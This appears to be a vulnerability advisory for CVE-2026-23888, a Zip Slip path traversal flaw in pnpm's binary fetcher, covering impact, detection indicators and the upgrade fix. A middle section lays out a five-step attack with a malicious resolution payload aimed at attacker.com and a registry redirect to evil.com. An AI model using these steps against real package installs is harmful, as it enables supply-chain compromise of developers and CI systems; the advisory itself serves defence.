CVE-2026-23888: 
JavaScript vulnerability analysis and mitigation

CVE-2026-23888 is a path traversal (Zip Slip) vulnerability in pnpm's binary fetcher that allows malicious packages to write arbitrary files outside the intended extraction directory. It affects all pnpm versions prior to 10.28.1 for Node.js. The vulnerability was published on January 26, 2026, by maintainer zkochan, with the patch released the same day. It carries a CVSS v3.1 base score of 6.5 (Medium) (Github Advisory, pnpm Advisory).

The vulnerability (CWE-22, CWE-23, CWE-426) exists in two locations within pnpm's binary fetching and extraction logic. First, in fetching/binary-fetcher/src/index.ts, AdmZip's extractAllTo is called without validating ZIP entry paths, allowing entries with ../ sequences or absolute paths (e.g., ../../../.npmrc) to be written outside the extraction root. Second, in resolving/resolver-base/src/index.ts, the BinaryResolution.prefix field is concatenated directly into the extraction path without sanitization, so a crafted prefix like ../../evil redirects extracted files outside targetDir. Both vectors require user interaction in the form of installing a malicious package, but no privileges are required. PoC code for both attack vectors is publicly available in the security advisory (pnpm Advisory, Patch Commit).

Successful exploitation allows an attacker to overwrite arbitrary files on the filesystem with the permissions of the user running pnpm, with high integrity impact and no direct confidentiality or availability impact per the CVSS score. In practice, overwriting sensitive files such as .npmrc, shell scripts, or CI/CD configuration files can lead to remote code execution (RCE) — for example, by redirecting the npm registry to an attacker-controlled server or injecting malicious scripts into the build pipeline. The impact is particularly severe in CI/CD environments that automatically install binary dependencies, as exploitation could compromise the entire build and deployment chain (Github Advisory, Red Hat Bugzilla).

Public PoC code is included directly in the GitHub Security Advisory, demonstrating both attack vectors with working Python and JSON payloads. There is no confirmed evidence of in-the-wild exploitation or threat actor attribution at this time. The EPSS score is approximately 0.02% (6th percentile), indicating a low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. IBM has acknowledged the vulnerability affects IBM API Connect and issued advisories (Github Advisory, IBM Advisory).

1. Create a malicious package: Craft an npm package that includes a binary asset resolved via pnpm's binary fetcher. For Attack Vector 1, create a ZIP file containing a path traversal entry (e.g., ../../../.npmrc) alongside a legitimate-looking binary file using Python's zipfile module, as the PoC demonstrates.
2. Embed the malicious ZIP: Host the crafted ZIP at an attacker-controlled URL (e.g., https://attacker.com/node.zip). For Attack Vector 2, craft the package's resolution metadata with a malicious prefix field: {"resolution": {"type": "binary", "url": "https://attacker.com/node.zip", "prefix": "../../PWNED"}}.
3. Publish or distribute the package: Upload the malicious package to a public or private npm registry, or use social engineering to get a target to install it directly.
4. Trigger installation: When the victim runs pnpm install or any command that fetches binary dependencies, pnpm's binary fetcher downloads and extracts the ZIP without validating entry paths.
5. Achieve file write / RCE: The traversal entry is written to the target path (e.g., overwriting .npmrc to redirect the registry to https://evil.com/), enabling subsequent package installs to fetch attacker-controlled code and achieve RCE (pnpm Advisory).

• File System: Unexpected or modified files outside the pnpm extraction/cache directory, particularly .npmrc, shell scripts, or CI configuration files with unusual registry URLs (e.g., registry=https://evil.com/); new or modified files in parent directories of the pnpm store.
• Network: Outbound HTTP/HTTPS requests to unknown or suspicious registries or binary hosting URLs during pnpm install; DNS queries to attacker-controlled domains referenced in a modified .npmrc.
• Logs: pnpm output showing extraction of ZIP entries with ../ sequences or absolute paths; ERR_PNPM_PATH_TRAVERSAL errors in pnpm logs on patched versions (indicating an attempted exploit); unexpected registry redirects in npm/pnpm install logs.
• Process: Unexpected processes spawned after a pnpm install step in CI/CD pipelines; build scripts executing binaries from unusual or newly created directories outside the project root (pnpm Advisory, Patch Commit).

Upgrade pnpm to version 10.28.1 or later, which validates ZIP entry paths before extraction and validates BinaryResolution.prefix to prevent directory escape; both attack vectors now throw an ERR_PNPM_PATH_TRAVERSAL error. No configuration-based workaround is available for unpatched versions. Organizations using IBM API Connect should apply the relevant IBM security updates (pnpm Release, IBM Advisory, IBM Advisory 2).

Red Hat tracked the vulnerability via Bugzilla (Bug 2433095) and assigned it medium severity, with 19 users on the CC list indicating broad internal interest across JBoss/WildFly and related product teams. IBM issued two separate advisories acknowledging the impact on IBM API Connect. The pnpm release notes for v10.28.1 received positive community reactions on GitHub (18 reactions including hooray emojis), suggesting the fix was well-received by the developer community (Red Hat Bugzilla, IBM Advisory, pnpm Release).